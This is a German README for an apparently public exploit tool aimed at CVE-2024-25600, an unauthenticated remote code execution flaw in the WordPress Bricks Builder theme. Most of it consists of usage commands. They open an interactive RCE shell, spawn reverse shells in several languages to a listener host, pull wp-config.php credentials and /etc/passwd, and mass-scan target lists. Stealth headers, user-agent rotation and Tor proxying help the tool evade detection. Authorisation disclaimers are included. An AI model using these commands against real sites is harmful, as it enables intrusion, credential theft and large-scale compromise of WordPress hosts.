
CVE-2024-25600 - Nicht authentifizierter RCE-Exploit für das WordPress Bricks Builder Theme. Erweitertes Exploitation-Framework mit interaktiver Shell, Reverse-Shells, Datei-Upload/-Download, asynchronem Scannen, Stealth-Modus, Proxy-Unterstützung und mehrthreadigem Schwachstellen-Scanning. Nur für autorisierte Sicherheitstests.
Autorisiertes Sicherheitsbewertungstool für CVE-2024-25600
Autor: Sudeepa Wanigarathna · Tool: BricksRCE Exploiter v1.0
Hauptskript: cve-2024-25600.py

[!IMPORTANT] Nur für autorisierte Nutzung. Dieses Tool dient der Sicherheitsforschung, Bildung und dem Testen von Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zur Überprüfung haben. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
CVE-2024-25600 ist eine kritische, unathentifizierte Remote-Codeausführungs-Schwachstelle im WordPress-Theme Bricks Builder. Eine unsachgemäße Handhabung von benutzergesteuerten Eingaben im REST-Endpunkt render_element ermöglicht es unathentifizierten Angreifern, beliebige PHP-/Systembefehle auf betroffenen Installationen auszuführen.
BricksRCE Exploiter (cve-2024-25600.py) ist ein voll ausgestattetes Python-Bewertungstool für autorisierte Sicherheitsexperten, um:
| Attribut | Wert |
|---|---|
| CVE-ID | CVE-2024-25600 |
| CVSS | 9.8 (Kritisch) |
| Angriffsvektor | Netzwerk – unathentifiziert |
| Auswirkung | Vollständige Remote-Codeausführung, Kompromittierung der Vertraulichkeit / Integrität / Verfügbarkeit |
| Betroffenes Produkt | WordPress Bricks Builder Theme |
| Betroffene Versionen | Bricks ≤ 1.9.6 (gepatcht in 1.9.6.1+) |
| Schwachstellentyp | Unathentifizierte Remote-Codeausführung |
| CWE | CWE-94 (Unzureichende Kontrolle der Codegenerierung) |
| Endpunkt | Methode |
|---|---|
/wp-json/bricks/v1/render_element | POST |
/?rest_route=/bricks/v1/render_element | POST |
render_element-Anfrage mit einem bösartigen Element-Payload| Fähigkeit | Beschreibung |
|---|---|
| Erkennung von Schwachstellen | Bestätigt RCE mittels kontrolliertem Marker-basiertem Test |
| Nonce-Extraktion | Multi-Methode-Nonce-Erkennung (Skripte, Seitenquelltext, Meta, REST) |
| Versionserkennung | Identifiziert die Bricks-Builder-Version aus CSS / readme / REST |
| Interaktive Shell | Vollständiges REPL mit Verlauf, Autovervollständigung und Dateiübertragung |
| Einzelbefehlsmodus | Führt einen Befehl aus und beendet sich (skriptfreundlich) |
| Reverse-Shell-Helfer | Generiert bash / nc / Python / PHP / Perl / Ruby Reverse-Shells |
| wp-config-Extraktion | Versucht, wp-config.php zu finden und auszulesen |
| Massenscanning | Asynchrones oder Thread-basiertes Multi-Ziel-Scannen aus einer URL-Liste |
| Fähigkeit | Beschreibung |
|---|---|
| Ratenbegrenzung | Konfigurierbare Verzögerung zwischen Anfragen |
| Wiederholungslogik | Exponentieller Backoff bei Zeitüberschreitungen und Verbindungsfehlern |
| User-Agent-Rotation | Zufällige Browser-Fingerabdrücke pro Anfrage |
| Stealth-Modus | Zufällige Accept-Language- / Accept-Encoding-Header |
| Proxy-Unterstützung | HTTP, HTTPS, SOCKS5 / SOCKS5h |
| Duale Endpunkte | Bevorzugt wp-json, rest_route oder beide |
| Force-Modus | Überspringt die Vorabprüfung und versucht den Exploit direkt |
| Rich-CLI | Fortschrittsbalken, Tabellen und farbige Panels via Rich |
| Fähigkeit | Beschreibung |
|---|---|
| JSON / TXT-Export | Speichert Scan-Ergebnisse und anfällige Ziele |
| Befehlsverlauf | Optionale Protokollierung ausgeführter Befehle |
| Dateiprotokollierung | Dauerhafte bricks_rce.log plus benutzerdefinierte Protokollpfade |
pipgit clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2024-25600.py --help
requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0 # optional — SOCKS5-Proxy-Unterstützung
Ersetzen Sie
https://target.examplenur durch ein Labor- oder autorisiertes Ziel.
# Interaktive Shell
python3 cve-2024-25600.py -u https://target.example
# Einzelbefehl
python3 cve-2024-25600.py -u https://target.example --cmd "id"
# Massenscan
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json
# Versionserkennung
python3 cve-2024-25600.py -u https://target.example --detect-version
# Über Burp-Proxy
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
Alle Beispiele verwenden das Hauptskript:
cve-2024-25600.py
python3 cve-2024-25600.py --help
Öffnet eine interaktive RCE-Shell, nachdem bestätigt wurde, dass das Ziel anfällig ist.
python3 cve-2024-25600.py -u https://target.example
Ablauf:
--force)python3 cve-2024-25600.py -u https://target.example --cmd "whoami"
Befehlsausgabe in einer Datei speichern:
python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output
# Standard-PHP-Exception-basierter Payload
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php
# system()-basierter Payload
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system
python3 cve-2024-25600.py -u https://target.example --detect-version
Kombiniert mit einem Befehl:
python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"
python3 cve-2024-25600.py -u https://target.example --extract-wp-config
Wird bei Erfolg als wp-config_<target>.txt gespeichert.
# Terminal 1 — Listener
nc -lvnp 4444
# Terminal 2 — Bash Reverse-Shell
python3 cve-2024-25600.py -u https://target.example \
--reverse-shell bash \
--lhost 10.0.0.5 \
--lport 4444
Alle unterstützten Reverse-Shell-Typen:
python3 cve-2024-25600.py -u https://target.example --reverse-shell bash --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"
# targets.txt — eine URL pro Zeile
python3 cve-2024-25600.py -f targets.txt
Mit Threads, Verzögerung, Stealth und JSON-Ausgabe:
python3 cve-2024-25600.py -f targets.txt \
-t 15 \
--delay 0.5 \
--stealth \
-o vulnerable.json
Synchrone (Thread-Pool) anstelle von asynchroner Abtastung:
python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt
Leiser Massenscan:
python3 cve-2024-25600.py -f targets.txt -q -o results.json
# Beide Endpunkte (Standard)
python3 cve-2024-25600.py -u https://target.example --endpoint both
# Nur /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json
# Nur /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route
python3 cve-2024-25600.py -u https://target.example \
--stealth \
--delay 1.0 \
--max-retries 5 \
--timeout 20
# Benutzerdefinierter UA
python3 cve-2024-25600.py -u https://target.example \
--user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"
# Zufällige UA-Rotation deaktivieren
python3 cve-2024-25600.py -u https://target.example --no-random-ua
# HTTP-Proxy (z.B. Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
# SOCKS5-Proxy
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050
# SOCKS5h (DNS über Proxy / Tor)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050
# SSL-Zertifikatsprüfung aktivieren (standardmäßig deaktiviert)
python3 cve-2024-25600.py -u https://target.example --verify-ssl
# Scan-Ergebnisse als JSON speichern
python3 cve-2024-25600.py -f targets.txt -o results.json
# Scan-Ergebnisse als TXT speichern
python3 cve-2024-25600.py -f targets.txt -o results.txt
# Benutzerdefinierte Anwendungsprotokolldatei
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v
# Ausgeführte Befehle protokollieren
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"
# Ausführlich / Debug-Protokollierung
python3 cve-2024-25600.py -u https://target.example -v
# Leiser Modus (minimale Ausgabe)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"
python3 cve-2024-25600.py -f targets.txt \
-t 25 \
--timeout 20 \
--delay 0.2 \
--max-retries 5 \
-o results.json
python3 cve-2024-25600.py -u https://target.example \
--detect-version \
--extract-wp-config \
--stealth \
--delay 0.8 \
--timeout 20 \
--max-retries 5 \
--endpoint both \
--proxy http://127.0.0.1:8080 \
--log-file bricks_assessment.log \
--command-log commands.log \
-v
Nach dem Start mit -u (ohne --cmd / --reverse-shell):
Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit
| Argument | Beschreibung |
|---|---|
-u, --url | Einzelne Ziel-URL |
-f, --file | Datei mit Ziel-URLs (eine pro Zeile) |
| Argument | Standard | Beschreibung |
|---|---|---|
-t, --threads | 10 | Gleichzeitige Worker für Massenscans |
--delay | 0.5 | Verzögerung zwischen Anfragen (Sekunden) |
--timeout | 15 | HTTP-Anfrage-Timeout (Sekunden) |
--max-retries | 3 | Wiederholungsversuche bei Fehlschlag |
--force | aus | Schwachstellenprüfung überspringen |
--sync | aus | Thread-Pool anstelle von async verwenden |
| Argument | Beschreibung |
|---|---|
--user-agent | Benutzerdefinierter User-Agent-String |
--no-random-ua | User-Agent-Rotation deaktivieren |
--proxy | Proxy-URL (http://, https://, socks5://, socks5h://) |
--stealth | Stealth-Modus aktivieren (zufällige Header + Verzögerungen) |
--endpoint | json | rest_route | both (Standard: both) |
| Argument | Beschreibung |
|---|---|
--cmd | Einzelnen Befehl ausführen und beenden |
--payload | Payload-Typ: php (Standard) oder system |
--reverse-shell | Shell-Typ: bash, nc, python, php, perl, ruby |
--lhost | Listener-Host für Reverse-Shell |
--lport | Listener-Port für Reverse-Shell |
--extract-wp-config | Versucht, wp-config.php zu extrahieren |
--detect-version | Bricks-Builder-Version erkennen |
--save-output | Ausgabe eines Einzelbefehls in einer Datei speichern |
| Argument | Beschreibung |
|---|---|
-o, --output | Ergebnisdatei (.json oder .txt) |
--log-file | Benutzerdefinierter detaillierter Protokollpfad |
--command-log | Ausgeführte Befehle in einer Datei protokollieren |
-v, --verbose | Debug-Protokollierung |
-q, --quiet | Minimale Konsolenausgabe |
--verify-ssl | SSL-Zertifikatsprüfung aktivieren (standardmäßig deaktiviert) |
Beim Ausnutzen eines einzelnen Ziels ohne --cmd oder --reverse-shell öffnet sich eine interaktive Shell:
Shell> whoami
www-data
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell> help
| Befehl | Beschreibung |
|---|---|
exit | Shell beenden |
help | Hilfe anzeigen |
clear | Bildschirm löschen |
download [remote] | Remote-Datei herunterladen (base64-Transfer) |
upload [local] [remote] | Lokale Datei auf das Ziel hochladen |
php [cmd] | Über PHP-Payload ausführen (Standard) |
system [cmd] | Über system()-Payload ausführen |
~/.bricks_rce_historyRich-gestützte Panels, Fortschrittsbalken und Ergebnistabellen:
[*] Teste: https://target.example
[+] https://target.example ist anfällig!
[+] Interaktive Shell erfolgreich geöffnet
| Metrik | Beschreibung |
|---|---|
| Gesamt verarbeitet | Gescannte URLs |
| Erfolgreich | Bestätigt anfällig |
| Fehlgeschlagen | Nicht anfällig / nicht erreichbar |
| Anfällig gefunden | Anzahl bestätigter RCE-Ziele |
| Befehle ausgeführt | Gesamtzahl der RCE-Befehlsausführungen |
| Verstrichene Zeit | Wanduhr-Scandauer |
-o results.json){
"timestamp": "2026-07-17T01:30:00",
"version": "1.0.0",
"config": {
"threads": 10,
"timeout": 15,
"delay": 0.5
},
"stats": {
"processed": 100,
"vulnerable": 3,
"failed": 97
},
"vulnerable_targets": [
{
"url": "https://target.example",
"timestamp": "2026-07-17T01:31:12"
}
]
}
| Datei | Zweck |
|---|---|
bricks_rce.log | Standard-Append-Only-Anwendungsprotokoll |
--log-file PATH | Zusätzlicher benutzerdefinierter Log-Handler |
--command-log PATH | Prüfpfad für ausgeführte Befehle |
| Symptom | Was zu tun ist |
|---|---|
| Nonce nicht gefunden | Bestätigen, dass Bricks aktiv ist; -v versuchen; sicherstellen, dass die Startseite lädt |
| Ziel nicht anfällig | Bricks ≤ 1.9.6 überprüfen; --force versuchen; beide Endpunkte prüfen |
| Verbindungszeitüberschreitungen | --timeout / --max-retries erhöhen; Proxy prüfen |
| Ratenbegrenzung (429) | --delay erhöhen; --stealth aktivieren |
| SSL-Fehler | Standardmäßig wird Verifizierung übersprungen; --verify-ssl nur bei Bedarf verwenden |
| Async-Instabilität | --sync für Thread-basiertes Scannen verwenden |
| Reverse-Shell schlägt fehl | Bestätigen, dass der Listener läuft; alternative Shell-Typen versuchen (python, nc) |
| Leere Befehlsausgabe | Befehl könnte ohne stdout erfolgreich gewesen sein; echo test versuchen |
| wp-config nicht gefunden | Pfade variieren je nach Host; interaktive Shell mit benutzerdefiniertem find / cat verwenden |
# Ausführlicher Einzelziel-Check
python3 cve-2024-25600.py -u https://target.example --detect-version -v
# Über Burp zur Anfrageinspektion
python3 cve-2024-25600.py -u https://target.example \
--proxy http://127.0.0.1:8080 -v --cmd "id"
# Bestimmten Endpunkt bevorzugen
python3 cve-2024-25600.py -u https://target.example --endpoint json -v
exploit/
├── cve-2024-25600.py # BricksRCE Exploiter (v1.0)
├── requirements.txt # Python-Abhängigkeiten
├── README.md # Diese Datei
├── bricks_rce.log # Laufzeitprotokoll (generiert)
└── venv/ # Lokales Virtualenv (optional, nicht eingecheckt)
Dieses Projekt wird wie besehen für defensive Sicherheitsforschung und autorisierte Penetrationstests bereitgestellt.
Durch die Nutzung dieser Software stimmen Sie zu, dass:
Wenn Sie diese Schwachstelle in Produktionsumgebungen entdecken, die Ihnen nicht gehören, befolgen Sie verantwortungsvolle Offenlegungspraktiken und koordinieren Sie sich mit dem Website-Betreiber / dem Bricks-Builder-Sicherheitsteam.
Unautorisierter Zugriff auf Computersysteme ist eine Straftat.
| Rolle | Name |
|---|---|
| Tool-Autor | Sudeepa Wanigarathna |
| CVE | CVE-2024-25600 |
| Tool | BricksRCE Exploiter v1.0 |
| Hauptskript | cve-2024-25600.py |
| Lizenz | MIT |
MIT License
Copyright (c) 2024–2026 Sudeepa Wanigarathna
Hiermit wird jeder Person, die eine Kopie dieser Software und der zugehörigen
Dokumentationsdateien (die "Software") erhält, kostenlose Erlaubnis erteilt,
die Software ohne Einschränkung zu nutzen, einschließlich und ohne
Einschränkung der Rechte zur Nutzung, Vervielfältigung, Änderung,
Zusammenführung, Veröffentlichung, Verteilung, Unterlizenzierung und/oder
zum Verkauf von Kopien der Software, und Personen, denen die Software
bereitgestellt wird, dies unter den folgenden Bedingungen zu gestatten:
Der obige Urheberrechtshinweis und diese Genehmigungsmitteilung müssen in
allen Kopien oder wesentlichen Teilen der Software enthalten sein.
DIE SOFTWARE WIRD "WIE BESEHEN" ZUR VERFÜGUNG GESTELLT, OHNE JEGLICHE
AUSDRÜCKLICHE ODER STILLSCHWEIGENDE GEWÄHRLEISTUNG, EINSCHLIESSLICH,
ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT,
EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND NICHTVERLETZUNG VON RECHTEN
DRITTER.
Nur für autorisierte Sicherheitstests.